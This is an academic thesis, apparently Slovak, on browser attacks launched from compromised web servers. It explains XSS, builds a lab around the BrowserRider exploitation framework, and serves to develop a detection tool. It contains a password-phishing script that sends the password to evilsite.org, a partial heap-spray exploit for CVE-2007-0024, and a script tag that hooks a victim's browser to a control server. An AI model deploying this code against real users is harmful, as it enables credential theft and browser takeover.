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V této bakalářské práci jsou analyzované a popsané různé druhy útoků vedených z webového 
serveru prostřednictvím webového prohlížeče. Na simulaci útoků je využito simulační prostředí, 
které je tvořené pomocí Browserideru, webového serveru Apache2 a virtual machine. Na základě 
analýzy byla navržena a implementována aplikace ExploitAnalyzer, která dokáže úspěšně zachytit 
chování procesů a zaslané IRP požadavky během útoku na webový prohlížeč.
Abstract
Different attacks guided from web servers using web browsers are being analyzed and described 
in  this  Bachelor's  thesis.  A  simulation  environment  is  used  to  simulate  the  attacks.  The 
environment was created using Browserider, using the web server Apache 2 and a virtual machine 
as  well.  On  the  basis  of  the  analysis,  the  application  ExploitAnalyzer  was  developed  and 
implemented and can successfully record process's actions as well as IRP requests sent during an 
attack onto a web browser.
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Povaha World Wide Web (ďalej www) prešla od svojho spustenia v roku 1990 až do súčasnosti 
obrovskými zmenami. Pôvodne navrhnutá technológia www slúžila iba na distribúciu statických 
dát užívateľom internetu. Avšak s pribúdaním počtu užívateľov a ich požiadavkami, zobrazo-
vanie statických dát už nestačilo. Preto sa v roku 1995 s príchodom JavaScriptu a PHP [1,  2] 
začal meniť obsah na dynamický, tak ako ho poznáme dnes. S narastajúcimi nárokmi na prehlia-
danie webu rastú aj nároky na webové aplikácie a webové prehliadače. Dnešné prehlia-dače sú 
robustné  aplikácie  s  veľkosťou  niekoľko  desiatok  MB,  ktoré  obsahujú  stále  viac  a  viac 
bezpečnostných chýb. Podľa štatistík spoločnosti Symantec bolo v roku 2009 zistených celkovo 
379 zraniteľností vo webových prehliadačoch a z toho 14 percent zostalo neopravených [3].  V 
dnešnej  dobe,  kde  prostredníctvom  internetu  môžu  užívatelia  uzatvárať  bankové  transakcie, 
nakupovať v e-obchodoch, zasielať emaily, tráviť čas na sociálnych sieťach a tým vystavovať 
svoj súkromný život potencionálnemu útoku, je otázka ochrany dát dôležitejšou ako kedykoľvek 
predtým.  Za útokmi  na užívateľov  internetu stoja  jednotlivci,  ale  tiež  organizované  skupiny. 
Cieľom  týchto  útokov  je  vlastné  obohatenie  sa,  získanie  citlivých  dát,  ukradnutie  identity 
užívateľa, získanie kontroly nad počítačom obete alebo budovanie botnets1.  Botnet je skupina 
napadnutých pc, nad ktorými má útočník kontrolu a užívateľ obvykle netuší, že je jej súčasťou. 
Jej  hlavný účel  je  získať výpočtový výkon na rozosielanie spamu,  DoS2 útoky,  odpočúvanie 
komunikácie napadnutého počítača a mnohé ďalšie, ktoré sú popísané v [4]. Podľa štatistík firma 
Symantec zistila za rok 2009 6 798 338 počítačov kompromitovaných botom [3]. 
Uvedené štatistiky nasvedčujú, že útoky na užívateľov internetu sú vážnym problémom, 
ktorý treba eliminovať. Prvým krokom na ceste k odstráneniu tejto hrozby je dôkladná analýza a 
eliminácia jednotlivých chýb v prehliadačoch, pretože chyba v prehliadači je vstupnou bránou do 
počítača užívateľa.
Hlavným cieľom tejto  práce je vytvoriť aplikáciu,  ktorá dokáže zachytiť správanie  a 
zmeny operačného systému počas útoku na prehliadač. K naplneniu tohto cieľa musíme vykonať 
dôkladnú analýzu  jednotlivých  útokov a  tiež  vytvoriť  simulačné  prostredie,  ktoré  nám bude 
slúžiť k vykonávaniu jednotlivých útokov. Získané informácie by mali slúžiť na lepšie pocho-
penie vlastností a povahy jednotlivých útokov.
1.1 Stručný popis kapitol
Na  začiatku  druhej  kapitoly  sú  popísané  základné  pojmy,  ktoré  sú  dôležité  pre  pochopenie 
problematiky útokov vedených z webového serveru na prehliadače. Ďalej je vysvetlené akým 
spôsobom sa môže škodlivý kód dostať na server a aj do samotného počítača klienta. Na konci 
1 Pojem botnet je bližšie vysvetlený v kapitole 2.1.
2 Pojem DoS útok je bližšie vysvetlený v kapitole 2.1.
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kapitoly je uvedený rozbor samotného exploitu, ktorý využíva chybu prehliadača.
V kapitole  3 je popísaný princíp, ako nasimulovať prostredie, kde napadnutý server útočí na 
klientsky počítač obsahujúci zraniteľnosť. Toto prostredie bude slúžiť na testovanie a analýzu 
jednotlivých útokov. Taktiež tu bude predstavený browser exploitation framework BrowserRider, 
pomocou, ktorého budeme jednotlivé útoky vykonávať. 
V kapitole  4 je  uvedený rozbor  požiadaviek aplikácie  ExploitAnalyzer  vytvorený na 
základe analýzy jednotlivých útokov. Postupne tu sú rozobrané požiadavky na detekciu systémo-
vých zmien, užívateľské rozhranie a architektúru.   
Kapitola 5 sa zaoberá samotnou implementáciou. V úvode kapitoly sú popísané nástroje 
využité pri implementácií ako aj voľba programovacieho jazyka. Ďalej je podrobne rozobraný 
princíp aplikácie a zdrojové kódy.
V kapitole 6 sú popísané tri testy, ktorými sme podrobili aplikáciu ExploitAnalyzer. Ide o 
tri exploity, z ktorých každý vykonáva iný druh škodlivej činnosti. Pri každom teste je uvedený a 
rozobraný výstup aplikácie.




Napadnutie zo strany webového serveru
Útoky na prehliadače prebiehajú v dvoch fázach. Prvou fázou je kompromitovanie webového 
servera a infikovanie webovej aplikácie malwarom . V druhej fáze dochádza k exploitácií pre-
hliadača a následnej škodlivej akcii vykonanej na počítači obete. Princíp útoku popisuje obrázok 
2.1. 
Obrázok 2.1: Popis priebehu napadnutia www serveru útočníkom a infikovanie užívateľa malwarom. 
Úvod kapitoly definuje terminológiu potrebnú k pochopeniu útokov na klientov internetu.  Druhá 
časť popisuje akú úlohu pri útoku zohráva webový server, webová aplikácia a klientský počítač. 
Na konci kapitoly sú rozobrané dva exploity, ktoré využívajú chybu webového prehliadača.
2.1 Terminológia
Aby sme mohli správne porozumieť princípu útokov na užívateľov internetu, je potrebné popísať 
a vysvetliť niektoré pojmy spojené s touto problematikou.  
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Exploit 
Je určitá technika, postup, ktorý dokáže využiť chybu v aplikácií a tým vyvolať nežiaducu akciu 
v konkrétnej aplikácii alebo jej okolí (napr. operačný systém). Veľmi často je to kus zdrojového 
kódu  napísaného  v  nejakom  programovacom  jazyku.  V kontexte  útokov  na  prehliadače  sú 
obvykle exploity napísané v jazyku, ktorý modifikuje HTML na strane klienta (Javascript, VB 
script). Najčastejšie typy exploitov sú buffer overflow a denial of service.
Buffer overflow 
Je technika využívaná v exploitoch, ktorá zneužíva zraniteľnosť programu vyplývajúcu zo zle 
naprogramovaného  kódu.  Aplikácia  zle  alebo  vôbec  nekontroluje  veľkosť  buferru,  ktorý  je 
uložený v pamäti  na určitom mieste a tým umožňuje zapísať do pamäte akýkoľvek kód(viz. 
Shellcode). Známe sú dva typy buffer overflow pretečenie zásobníka a haldy. Na zásobníku sú 
dáta koncipované tak, že za lokálnymi premennými sú uložené návratové adresy funkcií.  Pri 
pretečení  zásobníka sa  útočník snaží  vložiť na zásobník kód,  ktorý prepíše návratové adresy 
funkcií adresou svojej funkcie, ktorú vložil do pamäte, čím umožní vykonanie svojho kódu. Pri 
útoku na haldu sa útočník snaží pokryť čo najväčšie množstvo pamäte svojím kódom, tak aby 
prepísal nejaký pointer na funkciu a docielil  tým vykonanie svojho kódu. Útoky na haldu sú 
zložitejšie, pretože dáta uložené na halde sú náhodne rozmiestnené a majú rôznu dĺžku v pamäti 
[5].
Exploit využívajúci buffer overflow je popísany v kapitole 2.3.2..
Denial of service(DoS) 
Ttento typ exploitu alebo útoku sa snaží znemožniť dostupnosť služby. Pokiaľ hovoríme o  denial 
of  service  v  spojení  s  exploitom,  ide  o  útok  vedúci  k  zhodeniu  aplikácie  prehliadača. 
Užívateľovi, ktorý navštívi www stránku obsahujúcu takýto exploit, sa zrúti prehliadač. Exploit 
spôsobujúci denial of service je rozobraný v kapitole  2.3.2. S denial of service sa ale častejšie 
stretneme pri útoku na konkrétnu službu na sieti. Princípom útoku je zaslanie veľkého množstva 
požiadaviek na službu, čím sa docieli jej spomalenie alebo úplný výpadok. V posledných rokoch 
sa veľmi rozšírili distribuované DoS útoky, za ktorými stoja botnets (viz. botnet) [5]. 
Shellcode 
Je program napísaný v strojovom kóde,  ktorý slúži  útočníkovi  na spustenie  určitej  akcie pri 
napádaní počítača obete (napr. spustenie príkazového riadku, ktorý sa dá vzdialene ovládať cez 
otvorený port). Veľmi často využívaný ako súčasť exploitu typu bufferoverflow [21].
Botnet 
Je  skupina  kompromitovaných počítačov,  ktoré  z  jedného miesta  ovláda útočník.  Napadnutý 
počítač  sa  nazýva  bot  alebo  zombie.  Väčšina  užívateľov  obvykle  netuší,  že  ich  počítače  sú 
súčasťou botnetu. Škodlivé akcie a komunikáciu v rámci botnetu zabezpečuje softwear, ktorý sa 
na počítač dostane pomocou červa, trójskeho koňa alebo využitím zraniteľnosti  internetového 
prehliadača.  Obvyklým  spôsobom  komunikácie  medzi  jednotlivými  botmi  je  IRC  server. 
Následujúci zoznam popisuje najvážnejšie typy útokov, na ktoré sa dajú botnets využiť:
1. Distributed denial of service(DDoS) - Distribuované útoky na dostupnosť služby
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2. Hromadné rozosielanie spamu.
3. Odpočúvanie packetov kompromitovaného počítača, za účelom získania citlivých dát.
4. Keylogging – odpočúvanie úderov na klávesnici, za účelom získania prístupových 
údajov a pod.
5. Rozširovanie škodlivého kódu v rámci botnetu.
6. Manipulácia rôznych internetových ankiet a hlasovaní [4].
Zombie 
Je kompromitovaný počítač, ktorý je súčasťou siete botnet.
Malware 
Je všeobecný názov pre softweare, ktorý má škodlivý účínok. Do kategóorie malwaru spadajú 
červy, trójske kone, rootkity, backdoori, počítačové vírusy, spyware a adware.
Trójsky kôň  
Umožňuje útočníkovi vzdialený prístup na napadnutý počítač. Nedokáže sám seba replikovať a 
šíriť sa po sieti. Často využívaný na pripojenie napadnutého počítača do siete botnet.
Červ 
Jeho hlavným znakom je, že sa dokáže replikovať a šíriť sa po sieti do iných počítačov. Okrem 
systému vlastnosti replikácie, môže so sebou niesť aj nejakú deštruktívnu funkciu(napr. Pripo-
jenie napadnutého počítača do siete botnet). 
Rootkit 
Vykonáva škodlivú akciu na napadnutom počítači. Jeho hlavnou črtou je, že dokáže zakryť svoju 
prítomnosť pred užívateľom. 
Spyware 
Je  program,  ktorý má za  úlohu  zbierať  informácie  o  napadnutom počítači a  bez  dovolenia 
užívateľa ich zasielať cez internet [7]. 
2.2 Úloha webového serveru pri útokoch na prehliadače(fáza 1)
Webový server je počítač, ktorý je pripojený na internet a na ktorom beží software internetového 
serveru(napr. apache,  IIS).  Na internete je webový server identifikovaný svojou IP adresou a 
svojím doménovým menom3. S klientskymi prehliadačmi komunikuje pomocou protokolu HTTP 
obvykle na porte 804.  Všetky webové stránky a aplikácie na internete sú prístupné prostred-
3 Doménové meno je priradené k ip adrese na DNS serveri. Slúži na lepšiu identifikáciu počítača v sieti. 
Užívateľ si nemusí pamätať ip adresu.
4 Veľmi často tiež na porte 443 ale môže využívať ľubovolný port.
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níctvom webového servera [6]. 
Cieľom  útočníka,  ktorý  chce  napadnúť  užívateľa  internetu,  je  umiestniť  na  webový 
server škodlivý kód(malware) alebo zneužiť aplikáciu bežiacu na serveri (viz. obrázok 2.1). Na 
nasledujúcich riadkoch sú popísané niektoré spôsoby, akými to môže docieliť. 
1. Útočník je vlastníkom a správcom webového serveru. Na svojom serveri vytvorí stránky, 
ktoré obsahujú nejaký užitočný obsah spolu s malwarom.  
2. Útočník napadne cudzí webový server, kde získa administrátorské oprávnenia alebo len 
prístup na ftp účet niektorého užívateľa webového serveru. 
3. Útočník zneužije webovú aplikáciu bežiacu na serveri pomocou perzistentného XSS 
útoku (viz. kapitola 2.2.1). 
Malware obsiahnutý na napadnutom serveri slúži k exploitácii  webového prehliadača alebo k 
presmerovaniu prehliadača na inú url adresu na internete, ktorá obsahuje malware. Veľmi častým 
spôsobom presmerovania na inú url sú HTML značky <iframe>, <script> a <img>, pretože 
užívateľ ani nespozná, že načítava dáta z inej url.
2.2.1 XSS - Cross-site scripting
Tento typ útoku zneužíva chyby vo webových  aplikáciach. Podľa štatistík skupiny White Hat 
Security [9] je 66% všetkých webových aplikácií  zraniteľných na XSS. Typickým príkladom 
zraniteľných stránok sú rôzne sociálne siete, chaty, fóra a  blogy. Ide vlastne o vloženie kom-
binácie HTML, Javascriptu, Flashu alebo akéhokoľvek kódu, ktorý dokáže ovplyvniť správanie 
stránky alebo zneužiť chybu v prehliadači. Známe sú tri typy útoku XSS: neperzistentný (non-
persistent XSS),  perzistentný (persistent XSS) a útok založený na DOM (Dom  based XSS) [5, 
8]. S pohľadu umiestnenia malwaru na webový server je podstatný predovšetkým perzistentný 
XSS útok.
Perzistentný XSS
Perzistentný útok XSS nastane, keď sa útočníkovi podarí zneužiť vstup na trvalé vloženie škodli-
vého kódu, ktorý môže prehliadač spracovať tak, aby výstup bol trvale prístupný inému alebo 
iným  užívateľom.  Pri  perzistentnom  útoku  je  škodlivý  kód  uložený  priamo na  napadnutom 
serveri napríklad v databázi a na stránke sa zobrazuje napríklad vo forme príspevku na fóre alebo 
chate. Keď užívateľ navštívi kompromitovanú webovú aplikáciu, jeho prehliadač spracuje celú 
stránku a vložený kus škodlivého kódu [8]. 
2.3 Útoky na užívateľov internetu
Cieľom útokov na užívateľov internetu je krádež citlivých dát, identity, získanie kontroly nad 
počítačom obete alebo zapojenie napadnutého počítača do siete botnet.  K útoku dochádza po 
navštívení napadnutej www stránky obeťou (viz. obrázok 2.1). Útoky na užívateľov internetu by 
sa dali rozdeliť do dvoch hlavných skupín: útoky s použitím exploitácie a útoky bez využitia 
exploitácie. 
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2.3.1 Útoky bez využitia exploitácie
Ide  hlavne  o  útoky,  kde  sa  útočník  snaží  zneužiť  webovú  aplikáciu,  za  účelom  získania 
informácií od užívateľa, prípadne ukradnúť cookies5. Pri tomto druhu útoku nie je zneužitá chyba 
v prehliadači. Obvykle sa útočník snaží pozmeniť fungovanie webovej aplikácie, ktorej užívateľ 
dôveruje. Uvažujme nasledujúci javascriptový kód, ktorý je prítomný na škodlivej www stránke.
<script language=“JavaScript“>
var password = prompt('Boli ste odhlaseny.' + 'Prosim vlozte vase
       heslo ak chcete pokracovat.');
location.href = 'https://evilsite.org/pass.cgi?passwd='+password;
</script>
Prehliadač vyzve užívateľa, aby zadal svoje heslo z dôvodu odhlásenia zo stránky. Následne ako 
užívateľ zadá svoje heslo a stlačí OK, je heslo zaslané na adresu https://evilsite.org/pass.cgi, kde 
ho spracuje cgi skript napísaný útočníkom. 
2.3.2 Útok s využitím exploitácie 
Tento typ útoku zneužíva chybu webového prehliadača. Podľa štatistík spoločnosti Symantec v 
dnešnej dobe neexistuje jediný webový prehliadač, ktorý by neobsahoval aspoň jednu známu zra-
niteľnosť [3]. Exploitácia týchto chýb je často využívaná najmä na inštaláciu malwaru do počí-
tača obete. Obvykle sa útočník za pomoci malwaru snaží pripojiť napadnutý počítač do siete 
botnet. 
Nasledujúci príklad popisuje chybu CVE-2009-0072, ktorá postihuje prehliadače Internet 
Explorer verzie 6.0, 7.0 a beta verziu 8.0. Táto zraniteľnosť umožňuje útočníkovi spôsobiť pád 
prehliadača(viz. denial of service). Na zneužitie tejto chyby stačí vložiť nasledujúci riadok na 
www stránku. 
 <body onload=screen[““]> 
Ak takúto stránku navštívi užívateľ pomocou jedného z hore uvedených prehliadačov bez príslu-
šných aktualizácií jeho systémový proces Internet Exploreru spadne.
Ak útočník nemá prístup k serveru,  môže využiť XSS zraniteľnosť už bežiacej  aplikácie  na 
serveri. Predpokladajme, že na doméne www.forum.cz, beží webová aplikácia, ktorá umožňuje 
užívateľom vkladať príspevky. Táto aplikácia nedostatočne kontroluje vstup a povolí útočníkovi 
vložiť HTML alebo javascript na stránku vo forme príspevku. Keďže príspevok je zobrazený až 




5 Je uložený vo webovom prehliadači formou textového reťazca. Slúži na ukladanie stavu www stránky. 
Prihlásenie užívateľa na www stránke je obvykle riešené formou cookies, preto ak útočník získa cookie 
môže zneužiť www účet obete.
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Tento skript vyhľadá značku <body> a do jej udalosti onload vloží parameter screen[""] . 
Exploit bol prevzatý z [12]. Ďalšie informácie o tejto chybe sú dostupné v [10].
Ďalší príklad ilustruje exploit zneužívajúci chybu  CVE-2007-0024, ktorá postihuje 
Internet Explorer verzie 5.01, 6.0 a 7.0. K tejto chybe dochádza pretečením typu Integer v pamäti 
prehliadača. Je označená ako kritická, pretože ju útočník dokáže využiť na spustenie svojho kódu 
na počítači obete. 
<html xmlns:v="urn:schemas-microsoft-com:vml"> 
<head> 
<object id="VML" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> 
</object> 











bigblock = unescape("%u0505%u0505"); 
headersize = 20; 
slackspace = headersize+shellcode.length; 
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) 
block = block+block+fillblock; 
memory = new Array(); 
for (i=0;i<350;i++) memory[i] = block + shellcode; 
</script> 
<v:rect style='width:120pt;height:80pt' fillcolor="red" > 
<v:recolorinfo recolorstate="t" numcolors="97612895"> 
     <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" 
     lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" 
     fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> 
     <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" 
     lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" 
     fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> 
     <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" 
     lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" 




Zdrojový kód exploitu zneužívajúci chybu CVE-2007-0024 (viz. hore) je rozdelený na štyri lo-
gické časti. 
Prvá  časť  je  inicializačná.  Okrem úvodnej  réžie  bežnej  html  stránky sa  tiež  vytvára 
object VML, ktorý spôsobí chybu prehliadača. 
V druhej časti skriptu je definovaná premenná shellcode. Do tejto premennej je vložený 
shellcode, ktorý po úspešnej exploitácii spustí na napadnutom systéme program calc.exe (pozn. 
kalkulačka vo Windowse).  V praxi môže tento exploit  obsahovať akýkoľvek shellcode (napr. 
shellcode ktorý stiahne malware do počítača). Tento shellcode funguje iba na systéme Windows 
XP zo servicepackom 2,  pretože Microsoft  každou novou verziou operačného systému alebo 
vydaním nového servicepacku mení adresy v pamäti odkazujúce na funkcie svojich programov. 
Tretia časť exploitu popisuje techniku heapspray, ktorá zaplní pamäť škodlivým kódom. 
Najskôr je definovaná premenná bigblock, do ktorej je vložená Nop inštrukcia. Nop inštrukcia je 
inštrukcia,  ktorá  po  spracovaní  procesorom  neurobí  žiadnu  činnosť  a  programový  čítač  sa 
posunie na ďalšiu inštrukciu. Na ďalších riadkoch sa geometricky napĺňa premenná block nop 
inštrukciami. Vytvára sa nop-slide. Nop-slide je súbor nop inštrukcií, ktoré sú zoradené za sebou. 
Slúžia ako cesta k shellcode. Pretože útočník nevie, na  akú adresu na halde sa programový čí-
tač vráti, naplní veľké množstvo pamäte nop-inštrukciami. Tieto inštrukcie sa za sebou vykonajú 
až  narazia  na  shellcode,  ktorý  je  umiestnený za  každým nop-slide.  Pre  útočníka  je  dôležité 
odhadnúť  veľkosť  pamäte,  akú  zaplní  na  halde.  Ak  zvolí  príliš  veľké  množstvo  prehliadač 
prestane reagovať a obeť ho môže vypnúť. Pri malom množstve riskuje, že programový čítač sa 
nevráti na ním zaplnené miesto v pamäti [14].
V štvrtej  poslednej  časti  dochádza k samotnému pretečeniu pri  renderovaní  pomocou 
knižnice VML. Exploit  je  mierne  upravený  oproti  originálu.  Originál  je  dostupný  na  [13]. 
Podrobný popis chyby je v [11].
2.3.3  Automatické útoky - Browser exploitation frameworks
Browser exploitation frameworks sú webové aplikácie pod správou útočníka.  Hlavná výhoda 
týchto aplikácií spočíva v tom, že útočníkovi stačí vložiť na server kód, ktorý zabezpečí komu-
nikáciu medzi B.E.F a prehliadačom, pomocou ktorej môže previesť na počítači obete akýkoľvek 




Browser exploitation frameworks sú webové aplikácie, ktoré slúžia na napádanie prehliadačov 
užívateľov. Používajú ich hackeri, ale tiež IT špecialisti zaoberajúci sa bezpečnosťou. Keďže ide 
o  frameworky,  programátor  si  môže  naprogramovať  vlastné  útoky(payloads)  podľa  svojej 
potreby.  Medzi  najznámejšie  patria  BEEF,  XSS  Tunnel,  BackFrame  a  BrowserRider.  Úvod 
kapitoly je zameraný na vytvorenie prostredia, ktoré zahŕňa inštaláciu a konfiguráciu webového 
servera Apache 2.2 a tiež inštaláciu frameworku BrowserRider. Toto prostredie nám bude slúžiť 
ako  simulácia  situácie  na  internete,  ktorý  obsahuje  napadnuté  servery  útočiace  na  klientske 
aplikácie internetu a zároveň ho využijeme pri testovaní v kapitole 6. V druhej časti kapitoli, je 
rozobraný princíp a samotná obsluha BrowserRideru. 
3.1 Inštalácia prostredia
Celý postup inštalácie je popísaný pre operačný systém Ubuntu 9.10 (Karmic Koala), ale princi-
piálne je použiteľný pre akúkoľvek linuxovú distribúciu. Obraz inštalačného CD Ubuntu je do-
stupné na adrese http://releases.ubuntu.com/karmic/.
3.1.1 Inštalácia webového servera Apache 2.2 na Ubuntu 9.10
Celá inštalácia prebieha formou príkazov v terminále. K terminálu sa dostaneme po kliknutí v 
menu  na Applications -> Accessories -> Terminal. Aby sme mohli nainštalovať akýkoľvek pro-
gram, potrebujeme administrátorské oprávnenia, preto v termináli zadáme príkaz: 
sudo -i 
Po zadaní príkazu nás Ubuntu vyzve na zadanie administrátorského hesla.V ďalšom kroku nainš-
talujeme  Mysql,  ktorú  BrowserRider  využíva  na  ukladanie  perzistentných  dát.  Mysql  nainš-
talujeme nasledujúcim príkazom:
aptitude install mysql-server mysql-client
Počas inštalácie budeme vyzvaný k zadaniu root hesla, pomocou ktorého budeme pristupovať k 
Mysql databáze. Nasleduje samotná inštalácia Apachu, ktorú spustíme príkazom:
aptitude install apache2  
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Úspešnosť inštalácie si môžeme overiť zadaním adresy  http://localhost/ do nášho prehliadača. 
Ak je Apache správne nainštalovaný, mali by sme vidieť stránku, kde je napísané It works! V 
ďalšom kroku  nainštalujeme  na  Apache  podporu  php5,  ktorá  je  nevyhnutná  pre  fungovanie 
BrowserRideru..
aptitude install php5 libapache2-mod-php5
a tiež podporu php5 pre Mysql a JSON.
aptitude install php5-mysql php5-json
Aby sme v BrowserRideri mohli využívať url_rewriting, musíme povoliť Apache2 rewrite mode:
a2enmod rewrite






a upraviť súbor /etc/apache2/sites-enabled/000-default
gedit /etc/apache2/httpd.conf
v ktorom prepíšeme všetky výskyty riadku AllowOverride None na Allow Override 
All
Predposledným krokom je inštalácia databázového rozhrania phpmyadmin, ktoré nám poslúži pri 
inštalácii databázy BrowserRideru. 
aptitude install phpmyadmin
Počas inštalácie budeme vyzvaný určiť,  ktorý server má phpmyadmin konfigurovať,  zvolíme 
Apache2.  A na druhú otázku týkajúcu sa  automatického nastavenia  databázy odpovieme nie. 
Správnosť inštalácie overíme zadaním  http://localhost/phpmyadmin/ do prehliadača. Ak všetko 
prebehne v poriadku, phpmyadmin nás vyzve k zadaniu prihlasovacích údajov do databázy. Ak 
nám prehliadač napíše chybu 404 HTTP not found, použijeme nasledujúci príkaz.
sudo ln -s /usr/share/phpmyadmin/ /var/www
Na záver reštartujeme Apache.
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/etc/init.d/apache2 restart
Postup inštalácie bol vytvorený na základe [15].
3.1.2 Inštalácia BrowserRideru
Stiahneme BrowserRider do počítača, kde ho rozbalíme do priečinka /home/meno/Downloads. 
Posledná  verzia  je  dostupná  na   adrese http  ://www.engineeringforfun.com/browserrider.html  .  
Následne  sa  prihlásime  ako  administrátor.  Vytvoríme  priečinok  BrowserRider  v  priečinku 
/var/www. Pomocou chown a chmod zmeníme vlastníka priečinka BrowserRider a jeho práva na 
bežného užívateľa, aby sme v budúcnosti mohli k priečinku pristupovať bez administrátorských 
práv.  Následne  sa  odhlásime  ako  administrátor.  Skopírujeme  rozbalený  BrowserRider  do 
priečinka  /var/www odkiaľ bude prístupný na sieti.  Pomocou  chmod a prepínača  -R  zmeníme 
prístupové práva k pod-priečinkom aby k nim mohol BrowserRider pristúpiť:
Spustíme  phpmyadmin,  ktorý  je  na  adrese http  ://  localhost/phpmyadmin  /  a  vyplníme 
prihlasovacie údaje. Následne vytvoríme novú databázu s názvom browser_rider.  Pomocou poľa 
Run sql query spustíme inštalačný skript /var/www/BrowserRider/create.sql.  
Ďalším  krokom  je  nastavenie  vybraných  riadkov  v  konfiguračnom  súbore 
/var/www/lib/configuration.php podľa nasledujúceho vzoru:
// Meno uzivatela, ktory ma prístup k databaze. 
define('DB_USER', 'root');
// Heslo uzivatela, ktore sme zadali pri instalaci Mysql.
define('DB_PASSWORD', 'password');            
// Cesta k databaze obvykle localhost
define('DB_HOST', 'localhost');
// Nazov databaze               
define('DB_NAME', 'browser_rider'); 
     
// Cesta k aplikacii(je nevyhnutne, aby bola cesta ukoncena 
// spatnym lomitkom /
define('BASE_URL', 'http://localhost/BrowserRider/');
     




     
// Ak server podporuje rewrite_mod nastavte hodnotu na 1
define('URL_REWRITING', 0);
// Do tohto pola je nutne vlozit vsetky priecinky v ktorych sa   
// BrowserRider nachadza v nasom pripade BrowserRider. 
$FALSE_URL_REWRITING_VARS = array('BrowserRider');
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Nastavenie .htaccess6. Nájdite nasledujúci riadok a upravte ho podľa toho, kde sa  BrowserRider 
nachádza v našom prípade:
RewriteBase /BrowserRider/
Overenie správnosti inštalácie:
Spustíme  BrowserRider,  ktorý  je  na  adrese  http://localhost//BrowserRider/ a  zadáme  prihla-
sovacie  údaje,  ktoré  sme  nastavili  v  configuration.php.  Otvoríme  nové  okno  prehliadača  a 
prejdeme na adresu  http://localhost/BrowserRider/examples/xss_localhost.html alebo na adresu 
http://localhost/BrowserRider/examples/xss_localhost_no_url_rewriting.html, podľa toho, či sme 
v configuration.php  nastavili url_rewriting na 1 alebo 0. Ak je všetko správne nainštalované, v 
zombie liste pribudne jedna nová ip adresa (viz. obrázok 3.3) [17].  
3.1.3 Inštalácia virtual machine(obeť útoku)
Poslednou komponentov nášho simulačného prostredia je operačný systém s nainštalovaným 
prehliadačom, pomocou ktorého môžeme pristupovať na napadnuté stránky. Aby sme nemuseli 
využívať viac počítačov pripojených do siete nainštalujeme operačný systém na virtual machine. 
Virtual machine je aplikácia, ktorá zo systémových prostriedkov operačného systému, na ktorom 
je nainštalovaná, vytvorí nový virtuálny počítač. Tento virtuálny počítač má vlastný bios, 
hardware a môžeme s ním pracovať ako s klasickým pc.  Na virtualizáciu pc je v dnešnej dobe 
veľké množstvo programov. V tejto práci je využitý program WMware player 3.0, ktorý je 
dostupný na adrese https://www.vmware.com/tryvmware/?p=player&lp=1. Pred stiahnutím je 
nutná registrácia. Inštalátor sa spustí príkazom:
sudo sh Wmware-Player_cisloverzie.i386.bundle
3.2 BrowserRider
BrowserRider bol vytvorený skupinou Engineering For Fun a vznikol v roku 2008. Za svoje dva 
hlavné ciele si stanovil vytvoriť :
1. nástroj na automatické napádanie prehliadačov, ktorý by naraz dokázal ovládať viac ako 
jedného zombie. 
2. framework  na  silnom  objektovom  základe,  ktorý  umožňuje  vytváranie  a  pridávania 
nových payloads a pluginov 
BrowserRider  je  webová  aplikácia  napísaná  v  kombinácií  jazykov  PHP  a  JavaScript.  Na 
komunikáciu medzi PHP a JavaScriptom využíva kombináciu AJAX7 a JSON8 [16].
6   Súbor, ktorý určuje pravidlá podľa ktorých Apache prepisuje URL
7 Využíva sa na tvorbu interaktívnych www stránok. Spracúva http požiadavky bez nutnosti znovu 
načítania stránky.
8 JavaScript Object Notation – slúži na výmenu dát medzi rôznymi programovacími jazykmi.
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3.2.1 Princíp 
V podstate ide  o aplikáciu využívajúcu XSS kanál na komunikáciu s prehliadačom obete. XSS 
kanál je medzidoménový spôsob komunikácie medzi BrowserRiderom a prehliadačom využí-
vajúcim technológiu AJAX. Komunikácia prebieha v týchto krokoch:
1. Útočník kompromituje webovú stránku alebo webový server kódom na vytvorenie 
spojenia s BrowserRiderom.
2. Obeť navštívi stránku  a vytvorí sa spojenie BrowserRideru a prehliadača.
3. Prehliadač začne periodicky počúvať požiadavky od BrowserRideru. 
4. Keď prehliadač získa nový príkaz, vykoná ho a odpoveď zašle späť.
Obrázok 3.2: Princíp komunikácie BrowserRideru.
3.3 Obsluha BrowserRideru
Po  spustení  BrowserRideru,  je  nutné  zadať  prihlasovacie  údaje.  Po  úspešnom  prihlásení  sa 
zobrazí  hlavné administračné  okno.  Toto  okno je  rozdelené na štyri  hlavné časti.  Naľavo je 
zoznam zombie,  ktorý sú  práve  online.  Vpravo sa  nachádza  zoznam dostupných payloads  a 
pluginov.  Navrchu sú umiestnené tri odkazy, ktoré slúžia k navigácii. V spodnej časti sa nachá-
dzajú posledné dva odkazy. Prvý slúži na vytváranie škodlivého JavaScriptového kódu a druhý 
na vyhľadávanie zraniteľných aplikácií.  
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3.3.1 Získanie zombie
Ak je BrowserRider správne nainštalovaný, na získanie kontroly nad prehliadačom stačí vložiť 
na nejakú stránku tento kus kódu:
// Pokial je url_rewriting nastevny na 1
<script src="http://nazov_domeny_alebo_ip/BrowserRider/script.js">
</script>
// alebo pokial je url_rewriting nastaveny na 0
<script src="http://nazov_domeny_alebo_ip/BrowserRider/index.php?
for=zombie&module=whatever"></script>
Najrýchlejším spôsobom je  možnosť využiť  už  vytvorené stránky,  ktoré  obsahujú daný kód. 
Nachádzajú sa v priečinku examples. Po úspešnom vložení kódu je potrebné spustiť napadnutú 
stránku.  Následne by sa mal  v administračnom rozhraní  BrowserRideru objaviť jeden online 
zombie (viz. obrázok 3.3). 
3.3.2 Útok na prehliadač
Existujú tri spôsoby ako napadnúť pomocou BrowserRideru prehliadač. 
Prvým z nich je určiť payload, ktorý sa má vykonať na konkrétneho zombie. Tento útok 
